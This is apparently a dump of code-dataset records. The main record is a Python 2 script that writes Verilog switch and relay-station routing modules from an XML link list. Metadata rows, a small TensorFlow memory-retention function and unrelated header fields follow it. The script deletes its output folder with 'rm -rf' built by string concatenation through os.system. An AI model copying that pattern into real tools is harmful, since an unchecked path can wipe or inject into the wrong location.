self.prflow_params = prflow_params
def gen_routing(self):
os.system("rm -rf "+self.prflow_params['dest_dir'])
os.system("mkdir "+self.prflow_params['dest_dir'])
os.system("cp ./input/RelayStation.v " + self.prflow_params['dest_dir'])
sw_level_0 = open(self.prflow_params["dest_dir"] + '/switch_level_0_0_route.v', 'w')
sw_level_1_list = []
for i in range(4):
sw_level_1_list.append(open(self.prflow_params["dest_dir"]+ '/switch_level_1_'+str(i)+'_route.v', 'w'))
sw_level_0.write('module switch_level_0_0_route#(\n')
sw_level_0.write(' parameter PAYLOAD_BITS = '+self.prflow_params['payload_bits']+',\n')
sw_level_0.write(' parameter NUM_IN_PORTS = '+self.prflow_params['num_in_ports']+',\n')
sw_level_0.write(' parameter NUM_OUT_PORTS = '+self.prflow_params['num_out_ports']+',\n')
sw_level_0.write(' parameter NUM_UP = '+self.prflow_params['l1_up_num']+'\n')
sw_level_0.write(' )(\n')
sw_level_0.write(' input clk,\n')
sw_level_0.write(' input reset,\n')
sw_level_0.write(' \n')
sw_level_0.write(' input [PAYLOAD_BITS*NUM_UP-1:0] din_0,\n')
sw_level_0.write(' input [PAYLOAD_BITS*NUM_UP-1:0] din_1,\n')
sw_level_0.write(' input [PAYLOAD_BITS*NUM_UP-1:0] din_2,\n')
sw_level_0.write(' input [PAYLOAD_BITS*NUM_UP-1:0] din_3,\n')
sw_level_0.write(' \n')
sw_level_0.write(' input [NUM_UP-1:0] val_in_0,\n')
sw_level_0.write(' input [NUM_UP-1:0] val_in_1,\n')
sw_level_0.write(' input [NUM_UP-1:0] val_in_2,\n')
sw_level_0.write(' input [NUM_UP-1:0] val_in_3,\n')
sw_level_0.write(' \n')
sw_level_0.write(' output [NUM_UP-1:0] ready_upward_0,\n')
sw_level_0.write(' output [NUM_UP-1:0] ready_upward_1,\n')
sw_level_0.write(' output [NUM_UP-1:0] ready_upward_2,\n')
sw_level_0.write(' output [NUM_UP-1:0] ready_upward_3,\n')
sw_level_0.write(' \n')
sw_level_0.write(' output [PAYLOAD_BITS*NUM_UP-1:0] dout_0,\n')
sw_level_0.write(' output [PAYLOAD_BITS*NUM_UP-1:0] dout_1,\n')
sw_level_0.write(' output [PAYLOAD_BITS*NUM_UP-1:0] dout_2,\n')
sw_level_0.write(' output [PAYLOAD_BITS*NUM_UP-1:0] dout_3,\n')
sw_level_0.write(' \n')
sw_level_0.write(' output [NUM_UP-1:0] val_out_0,\n')
sw_level_0.write(' output [NUM_UP-1:0] val_out_1,\n')
sw_level_0.write(' output [NUM_UP-1:0] val_out_2,\n')
sw_level_0.write(' output [NUM_UP-1:0] val_out_3,\n')
sw_level_0.write(' \n')
sw_level_0.write(' input [NUM_UP-1:0] ready_downward_0,\n')
sw_level_0.write(' input [NUM_UP-1:0] ready_downward_1,\n')
sw_level_0.write(' input [NUM_UP-1:0] ready_downward_2,\n')
sw_level_0.write(' input [NUM_UP-1:0] ready_downward_3 \n')
sw_level_0.write(' );\n')
for i in range(4):
sw_level_1_list[i].write('module switch_level_1_'+str(i)+'_route # (\n')
sw_level_1_list[i].write(' parameter PAYLOAD_BITS = '+self.prflow_params['payload_bits']+',\n')
sw_level_1_list[i].write(' parameter NUM_IN_PORTS = '+self.prflow_params['num_in_ports']+',\n')
sw_level_1_list[i].write(' parameter NUM_OUT_PORTS = '+self.prflow_params['num_out_ports']+',\n')
sw_level_1_list[i].write(' parameter NUM_UP = '+self.prflow_params['l1_up_num']+'\n')
sw_level_1_list[i].write(' )(\n')
sw_level_1_list[i].write(' input clk,\n')
sw_level_1_list[i].write(' input reset,\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_0,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_1,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_2,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_3,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_4,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_5,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_6,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS*PAYLOAD_BITS-1:0] din_7,\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_0,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_1,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_2,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_3,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_4,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_5,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_6,\n')
sw_level_1_list[i].write(' input [NUM_IN_PORTS-1:0] val_in_7,\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_0,\n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_1,\n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_2,\n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_3,\n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_4,\n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_5,\n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_6,\n')
sw_level_1_list[i].write(' output [NUM_IN_PORTS-1:0] ready_upward_7,\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_0,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_1,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_2,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_3,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_4,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_5,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_6,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS*PAYLOAD_BITS-1:0] dout_7,\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_0,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_1,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_2,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_3,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_4,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_5,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_6,\n')
sw_level_1_list[i].write(' output [NUM_OUT_PORTS-1:0] val_out_7,\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_0,\n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_1,\n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_2,\n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_3,\n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_4,\n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_5,\n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_6,\n')
sw_level_1_list[i].write(' input [NUM_OUT_PORTS-1:0] ready_downward_7,\n')
sw_level_1_list[i].write('\n')
sw_level_1_list[i].write(' input [NUM_UP*PAYLOAD_BITS-1:0] up_din, \n')
sw_level_1_list[i].write(' input [NUM_UP-1:0] up_val_in, \n')
sw_level_1_list[i].write(' output [NUM_UP-1:0] up_ready_upward,\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' output [NUM_UP*PAYLOAD_BITS-1:0] up_dout,\n')
sw_level_1_list[i].write(' output [NUM_UP-1:0] up_val_out,\n')
sw_level_1_list[i].write(' input [NUM_UP-1:0] up_ready_downward\n')
sw_level_1_list[i].write(' \n')
sw_level_1_list[i].write(' );\n')
root = xml.etree.ElementTree.parse(self.prflow_params['input_file_name'])
links = root.findall('link')
pp_level_1_num = [0 for index in range(int(self.prflow_params['sub_tree_num']))]
pp_level_1_unit = int(self.prflow_params['l1_pp'])
pp_level_0_num = 0
pp_level_0_unit = int(self.prflow_params['l0_pp'])
in_port_used_level_1 = [0 for index in range(int(self.prflow_params['sub_tree_num']))]
out_port_used_level_1 = [0 for index in range(int(self.prflow_params['sub_tree_num']))]
in_port_used_level_0 = [0 for index in range(int(self.prflow_params['sub_tree_num']))]
out_port_used_level_0 = [0 for index in range(int(self.prflow_params['sub_tree_num']))]
in_page_ports_used = [0 for index in range(2**int(self.prflow_params['addr_bits']))]
out_page_ports_used = [0 for index in range(2**int(self.prflow_params['addr_bits']))]
for child in links:
src = child.get('source')
dest = child.get('destination')
src_page_num = int(src.split('.')[0].replace('Function', ''))
src_port_num = int(src.split('.')[1])
dest_page_num = int(dest.split('.')[0].replace('Function', ''))
dest_port_num = int(dest.split('.')[1])
sub_tree_src = int(src_page_num)/8
sub_tree_dest = int(dest_page_num)/8
same_sub_tree = (sub_tree_src == sub_tree_dest)
in_page_ports_used[src_page_num] += 1
out_page_ports_used[dest_page_num] += 1
if same_sub_tree:
# if source and dest are in the same sub_tree
# we do not need to go up level
sw_level_1_list[sub_tree_src].write('\n\n// ' + src + '=>' + dest + '\n')
for i in range(pp_level_1_num[sub_tree_src], pp_level_1_num[sub_tree_src] + pp_level_1_unit):
sw_level_1_list[sub_tree_src].write('\n\n wire ready_downward'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire val_out'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire ready_upward'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire val_in'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire [PAYLOAD_BITS-1:0] din'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire [PAYLOAD_BITS-1:0] dout'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' \n')
if (i == pp_level_1_num[sub_tree_src]):
sw_level_1_list[sub_tree_src].write(' assign din'+str(i)+' = din_'+ str(src_page_num%8) + '['\
+ str(int(self.prflow_params['payload_bits'])*(src_port_num+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*src_port_num) + '];\n')
sw_level_1_list[sub_tree_src].write(' assign val_in'+str(i)+' = val_in_' + str(src_page_num%8) + '['\
+ str(src_port_num)+'];\n')
sw_level_1_list[sub_tree_src].write(' assign ready_upward_' + str(src_page_num%8) + '['\
+ str(src_port_num)+'] = ready_upward'+str(i)+';\n')
else:
sw_level_1_list[sub_tree_src].write(' assign din'+str(i)+' = dout'+str(i-1)+';\n')
sw_level_1_list[sub_tree_src].write(' assign val_in'+str(i)+' = val_out'+str(i-1)+';\n')
sw_level_1_list[sub_tree_src].write(' assign ready_downward'+str(i-1)+' = ready_upward'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' \n')
sw_level_1_list[sub_tree_src].write(' RelayStation #(\n')
sw_level_1_list[sub_tree_src].write(' .PAYLOAD_BITS(PAYLOAD_BITS)\n')
sw_level_1_list[sub_tree_src].write(' )RelayStation'+str(i)+'(\n')
sw_level_1_list[sub_tree_src].write(' .clk(clk),\n')
sw_level_1_list[sub_tree_src].write(' .reset(reset),\n')
sw_level_1_list[sub_tree_src].write(' .ready_downward(ready_downward'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .val_out(val_out'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .ready_upward(ready_upward'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .val_in(val_in'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .din(din'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .dout(dout'+str(i)+')\n')
sw_level_1_list[sub_tree_src].write(' );\n')
sw_level_1_list[sub_tree_src].write(' assign dout_'+ str(dest_page_num%8) + '['\
+ str(int(self.prflow_params['payload_bits'])*(dest_port_num+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*dest_port_num) + '] = dout'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' assign val_out_' + str(dest_page_num%8) + '['\
+ str(dest_port_num)+'] = val_out'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' assign ready_downward'+str(i)+' = ready_downward_' + str(dest_page_num%8) + '['\
+ str(dest_port_num)+'];\n')
# update pipeline number
pp_level_1_num[sub_tree_src] += pp_level_1_unit
else:
# construct relay stations for source sub_tree input
sw_level_1_list[sub_tree_src].write('\n\n// ' + src + '=>' + dest + '\n')
for i in range(pp_level_1_num[sub_tree_src], pp_level_1_num[sub_tree_src] + pp_level_1_unit):
sw_level_1_list[sub_tree_src].write('\n\n wire ready_downward'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire val_out'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire ready_upward'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire val_in'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire [PAYLOAD_BITS-1:0] din'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' wire [PAYLOAD_BITS-1:0] dout'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' \n')
if (i == pp_level_1_num[sub_tree_src]):
sw_level_1_list[sub_tree_src].write(' assign din'+str(i)+' = din_'+ str(src_page_num%8) + '['\
+ str(int(self.prflow_params['payload_bits'])*(src_port_num+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*src_port_num) + '];\n')
sw_level_1_list[sub_tree_src].write(' assign val_in'+str(i)+' = val_in_' + str(src_page_num%8) + '['\
+ str(src_port_num)+'];\n')
sw_level_1_list[sub_tree_src].write(' assign ready_upward_' + str(src_page_num%8) + '['\
+ str(src_port_num)+'] = ready_upward'+str(i)+';\n')
else:
sw_level_1_list[sub_tree_src].write(' assign din'+str(i)+' = dout'+str(i-1)+';\n')
sw_level_1_list[sub_tree_src].write(' assign val_in'+str(i)+' = val_out'+str(i-1)+';\n')
sw_level_1_list[sub_tree_src].write(' assign ready_downward'+str(i-1)+' = ready_upward'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' \n')
sw_level_1_list[sub_tree_src].write(' RelayStation #(\n')
sw_level_1_list[sub_tree_src].write(' .PAYLOAD_BITS(PAYLOAD_BITS)\n')
sw_level_1_list[sub_tree_src].write(' )RelayStation'+str(i)+'(\n')
sw_level_1_list[sub_tree_src].write(' .clk(clk),\n')
sw_level_1_list[sub_tree_src].write(' .reset(reset),\n')
sw_level_1_list[sub_tree_src].write(' .ready_downward(ready_downward'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .val_out(val_out'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .ready_upward(ready_upward'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .val_in(val_in'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .din(din'+str(i)+'),\n')
sw_level_1_list[sub_tree_src].write(' .dout(dout'+str(i)+')\n')
sw_level_1_list[sub_tree_src].write(' );\n')
sw_level_1_list[sub_tree_src].write(' assign up_dout['\
+ str(int(self.prflow_params['payload_bits'])*(out_port_used_level_1[sub_tree_src]+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*out_port_used_level_1[sub_tree_src]) + '] = dout'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' assign up_val_out['\
+ str(out_port_used_level_1[sub_tree_src])+'] = val_out'+str(i)+';\n')
sw_level_1_list[sub_tree_src].write(' assign ready_downward'+str(i)+' = up_ready_downward['\
+ str(out_port_used_level_1[sub_tree_src])+'];\n')
# construct relay_station for destination sub_tree
sw_level_1_list[sub_tree_dest].write('\n\n// ' + src + '=>' + dest + '\n')
for i in range(pp_level_1_num[sub_tree_dest], pp_level_1_num[sub_tree_dest] + pp_level_1_unit):
sw_level_1_list[sub_tree_dest].write('\n\n wire ready_downward'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' wire val_out'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' wire ready_upward'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' wire val_in'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' wire [PAYLOAD_BITS-1:0] din'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' wire [PAYLOAD_BITS-1:0] dout'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' \n')
if (i == pp_level_1_num[sub_tree_dest]):
sw_level_1_list[sub_tree_dest].write(' assign din'+str(i)+' = up_din['\
+ str(int(self.prflow_params['payload_bits'])*(in_port_used_level_1[sub_tree_dest]+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*in_port_used_level_1[sub_tree_dest]) + '];\n')
sw_level_1_list[sub_tree_dest].write(' assign val_in'+str(i)+' = up_val_in['\
+ str(in_port_used_level_1[sub_tree_dest])+'];\n')
sw_level_1_list[sub_tree_dest].write(' assign up_ready_upward['\
+ str(in_port_used_level_1[sub_tree_dest])+'] = ready_upward'+str(i)+';\n')
else:
sw_level_1_list[sub_tree_dest].write(' assign din'+str(i)+' = dout'+str(i-1)+';\n')
sw_level_1_list[sub_tree_dest].write(' assign val_in'+str(i)+' = val_out'+str(i-1)+';\n')
sw_level_1_list[sub_tree_dest].write(' assign ready_downward'+str(i-1)+' = ready_upward'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' \n')
sw_level_1_list[sub_tree_dest].write(' RelayStation #(\n')
sw_level_1_list[sub_tree_dest].write(' .PAYLOAD_BITS(PAYLOAD_BITS)\n')
sw_level_1_list[sub_tree_dest].write(' )RelayStation'+str(i)+'(\n')
sw_level_1_list[sub_tree_dest].write(' .clk(clk),\n')
sw_level_1_list[sub_tree_dest].write(' .reset(reset),\n')
sw_level_1_list[sub_tree_dest].write(' .ready_downward(ready_downward'+str(i)+'),\n')
sw_level_1_list[sub_tree_dest].write(' .val_out(val_out'+str(i)+'),\n')
sw_level_1_list[sub_tree_dest].write(' .ready_upward(ready_upward'+str(i)+'),\n')
sw_level_1_list[sub_tree_dest].write(' .val_in(val_in'+str(i)+'),\n')
sw_level_1_list[sub_tree_dest].write(' .din(din'+str(i)+'),\n')
sw_level_1_list[sub_tree_dest].write(' .dout(dout'+str(i)+')\n')
sw_level_1_list[sub_tree_dest].write(' );\n')
sw_level_1_list[sub_tree_dest].write(' assign dout_'+ str(dest_page_num%8) + '['\
+ str(int(self.prflow_params['payload_bits'])*(dest_port_num+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*dest_port_num) + '] = dout'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' assign val_out_' + str(dest_page_num%8) + '['\
+ str(dest_port_num)+'] = val_out'+str(i)+';\n')
sw_level_1_list[sub_tree_dest].write(' assign ready_downward'+str(i)+' = ready_downward_' + str(dest_page_num%8) + '['\
+ str(dest_port_num)+'];\n')
# construct relay_station for swtich box level 0
sw_level_0.write('\n\n// ' + src + '=>' + dest + '\n')
for i in range(pp_level_0_num, pp_level_0_num + pp_level_0_unit):
sw_level_0.write('\n\n wire ready_downward'+str(i)+';\n')
sw_level_0.write(' wire val_out'+str(i)+';\n')
sw_level_0.write(' wire ready_upward'+str(i)+';\n')
sw_level_0.write(' wire val_in'+str(i)+';\n')
sw_level_0.write(' wire [PAYLOAD_BITS-1:0] din'+str(i)+';\n')
sw_level_0.write(' wire [PAYLOAD_BITS-1:0] dout'+str(i)+';\n')
sw_level_0.write(' \n')
if (i == pp_level_0_num):
sw_level_0.write(' assign din'+str(i)+' = din_'+str(sub_tree_src)+'['\
+ str(int(self.prflow_params['payload_bits'])*(in_port_used_level_0[sub_tree_src]+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*in_port_used_level_0[sub_tree_src]) + '];\n')
sw_level_0.write(' assign val_in'+str(i)+' = val_in_'+str(sub_tree_src)+'['\
+ str(in_port_used_level_0[sub_tree_src])+'];\n')
sw_level_0.write(' assign ready_upward_'+str(sub_tree_src)+'['\
+ str(in_port_used_level_0[sub_tree_src])+'] = ready_upward'+str(i)+';\n')
else:
sw_level_0.write(' assign din'+str(i)+' = dout'+str(i-1)+';\n')
sw_level_0.write(' assign val_in'+str(i)+' = val_out'+str(i-1)+';\n')
sw_level_0.write(' assign ready_downward'+str(i-1)+' = ready_upward'+str(i)+';\n')
sw_level_0.write(' \n')
sw_level_0.write(' RelayStation #(\n')
sw_level_0.write(' .PAYLOAD_BITS(PAYLOAD_BITS)\n')
sw_level_0.write(' )RelayStation'+str(i)+'(\n')
sw_level_0.write(' .clk(clk),\n')
sw_level_0.write(' .reset(reset),\n')
sw_level_0.write(' .ready_downward(ready_downward'+str(i)+'),\n')
sw_level_0.write(' .val_out(val_out'+str(i)+'),\n')
sw_level_0.write(' .ready_upward(ready_upward'+str(i)+'),\n')
sw_level_0.write(' .val_in(val_in'+str(i)+'),\n')
sw_level_0.write(' .din(din'+str(i)+'),\n')
sw_level_0.write(' .dout(dout'+str(i)+')\n')
sw_level_0.write(' );\n')
sw_level_0.write(' assign dout_'+ str(sub_tree_dest) + '['\
+ str(int(self.prflow_params['payload_bits'])*(out_port_used_level_0[sub_tree_dest]+1)-1)\
+ ':'\
+ str(int(self.prflow_params['payload_bits'])*out_port_used_level_0[sub_tree_dest]) + '] = dout'+str(i)+';\n')
sw_level_0.write(' assign val_out_' + str(sub_tree_dest) + '['\
+ str(out_port_used_level_0[sub_tree_dest])+'] = val_out'+str(i)+';\n')
sw_level_0.write(' assign ready_downward'+str(i)+' = ready_downward_' + str(sub_tree_dest) + '['\
+ str(out_port_used_level_0[sub_tree_dest])+'];\n')
# update pipeline number and used port number
pp_level_0_num += pp_level_0_unit
pp_level_1_num[sub_tree_src] += pp_level_1_unit
pp_level_1_num[sub_tree_dest] += pp_level_1_unit
out_port_used_level_0[sub_tree_dest] += 1
in_port_used_level_0[sub_tree_src] += 1
out_port_used_level_1[sub_tree_src] += 1
in_port_used_level_1[sub_tree_dest] += 1
sw_level_0.write('\n\n// assignment for used pins in switch_level_0_route.v\n')
for i in range(len(in_port_used_level_0)):
sw_level_0.write('\n')
for j in range(in_port_used_level_0[i], int(self.prflow_params['l1_up_num'])):
sw_level_0.write(' assign ready_upward_'+str(i)+'['+str(j)+'] = 0;\n')
for j in range(out_port_used_level_0[i], int(self.prflow_params['l1_up_num'])):
sw_level_0.write(' assign dout_'+str(i)+'['\
+ str((j+1)*(int(self.prflow_params['payload_bits']))-1)+':'\
+ str(j*int(self.prflow_params['payload_bits']))+ '] = 0;\n')
sw_level_0.write(' assign val_out_'+str(i)+'['+str(j)+']=0;\n')
for i in range(len(in_port_used_level_1)):
sw_level_1_list[i].write('\n')
for j in range(in_port_used_level_1[i], int(self.prflow_params['l1_up_num'])):
sw_level_1_list[i].write(' assign up_ready_upward['+str(j)+'] = 0;\n')
for j in range(out_port_used_level_1[i], int(self.prflow_params['l1_up_num'])):
sw_level_1_list[i].write(' assign up_dout['\
+ str((j+1)*(int(self.prflow_params['payload_bits']))-1)+':'\
+ str(j*int(self.prflow_params['payload_bits']))+ '] = 0;\n')
sw_level_1_list[i].write(' assign up_val_out['+str(j)+']=0;\n')
# assign used ports connected to pages to 0
for i in range(len(in_page_ports_used)):
sub_tree_num = i/8
# for switch_level 1, input and output are conversed to page
for j in range(in_page_ports_used[i], int(self.prflow_params['num_out_ports'])):
# find all unused input ports in switch_level_1
sw_level_1_list[sub_tree_num].write(' assign ready_upward_'+str(i%8)+'['+str(j)+'] = 0;\n')
for j in range(out_page_ports_used[i], int(self.prflow_params['num_in_ports'])):
# find all unused output ports in switch_level_1
sw_level_1_list[sub_tree_num].write(' assign dout_'+str(i%8)+'['\
+ str((j+1)*(int(self.prflow_params['payload_bits']))-1)+':'\
+ str(j*int(self.prflow_params['payload_bits']))+ '] = 0;\n')
sw_level_1_list[sub_tree_num].write(' assign val_out_'+str(i%8)+'['+str(j)+']=0;\n')
sw_level_0.write('\n\nendmodule\n')
sw_level_0.close()
for i in range(4):
sw_level_1_list[i].write('\n\nendmodule\n')
sw_level_1_list[i].close()
if __name__ == '__main__':
prflow_params = {
"dest_dir": "./output",
"input_file_name": "./input/architecture.xml",
"sub_tree_num": "4",
"num_in_ports": '2',
"num_out_ports": '2',
"l1_up_num": '4',
"l0_pp": "8",
"l1_pp": "4",
"payload_bits": '32',
"addr_bits": '5'
}
direc_inst = direct_int(prflow_params)
direc_inst.gen_routing()
print "The output verilog files are under ./output"
| 66.57381
| 158
| 0.596009
| 4,538
| 27,961
| 3.258484
| 0.030851
| 0.118347
| 0.118482
| 0.140394
| 0.910327
| 0.895043
| 0.873267
| 0.857307
| 0.834584
| 0.797795
| 0
| 0.031205
| 0.234398
| 27,961
| 419
| 159
| 66.732697
| 0.659551
| 0.017989
| 0
| 0.318421
| 0
| 0
| 0.290789
| 0.044269
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.005263
| null | null | 0.002632
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
798d9c15084e05181822f43c5a7ca5fbf08a0581
| 165
|
py
|
Python
|
models/dynamic_memory/memory_retention_vector.py
|
zankner/DNC
|
2596fa3a1ee9bf0a9f160f3f953639e70bb25fe7
|
[
"MIT"
] | 3
|
2020-03-20T17:46:33.000Z
|
2020-03-23T16:48:59.000Z
|
models/dynamic_memory/memory_retention_vector.py
|
zankner/DNC
|
2596fa3a1ee9bf0a9f160f3f953639e70bb25fe7
|
[
"MIT"
] | null | null | null |
models/dynamic_memory/memory_retention_vector.py
|
zankner/DNC
|
2596fa3a1ee9bf0a9f160f3f953639e70bb25fe7
|
[
"MIT"
] | 1
|
2020-03-20T17:55:55.000Z
|
2020-03-20T17:55:55.000Z
|
import tensorflow as tf
import numpy as np
def mem_retention(free_gates, read_weightings):
return tf.linalg.matvec(free_gates, read_weightings, transpose_a=True)
| 27.5
| 72
| 0.824242
| 26
| 165
| 5
| 0.730769
| 0.138462
| 0.2
| 0.353846
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.109091
| 165
| 5
| 73
| 33
| 0.884354
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.5
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
|
0
| 7
|
79d14ff3d82656918f882b5bc619c72a43058792
| 107
|
py
|
Python
|
nodenet/python/nodenet/trainingsessions/__init__.py
|
NOOXY-research/NodeNet
|
8bf7e0c2fd0e4fae4a51b2900014004728f3c935
|
[
"Apache-2.0"
] | 2
|
2018-01-31T05:52:23.000Z
|
2020-08-07T19:14:18.000Z
|
nodenet/python/nodenet/trainingsessions/__init__.py
|
NOOXY-research/NodeNet
|
8bf7e0c2fd0e4fae4a51b2900014004728f3c935
|
[
"Apache-2.0"
] | 1
|
2017-11-22T09:39:50.000Z
|
2017-11-22T09:39:50.000Z
|
nodenet/python/nodenet/trainingsessions/__init__.py
|
magneticchen/NodeNet
|
8bf7e0c2fd0e4fae4a51b2900014004728f3c935
|
[
"Apache-2.0"
] | null | null | null |
# Create alias
from nodenet.trainingsessions.batch import *
from nodenet.trainingsessions.online import *
| 21.4
| 45
| 0.82243
| 12
| 107
| 7.333333
| 0.666667
| 0.25
| 0.613636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11215
| 107
| 4
| 46
| 26.75
| 0.926316
| 0.11215
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
8dacb686f9abe4863ecd93491cac701400a4686c
| 2,432
|
py
|
Python
|
address/models.py
|
wendell1101/EcommerceProject---Django
|
008396c283f887db528ca5c07de61a794feeb83b
|
[
"MIT"
] | null | null | null |
address/models.py
|
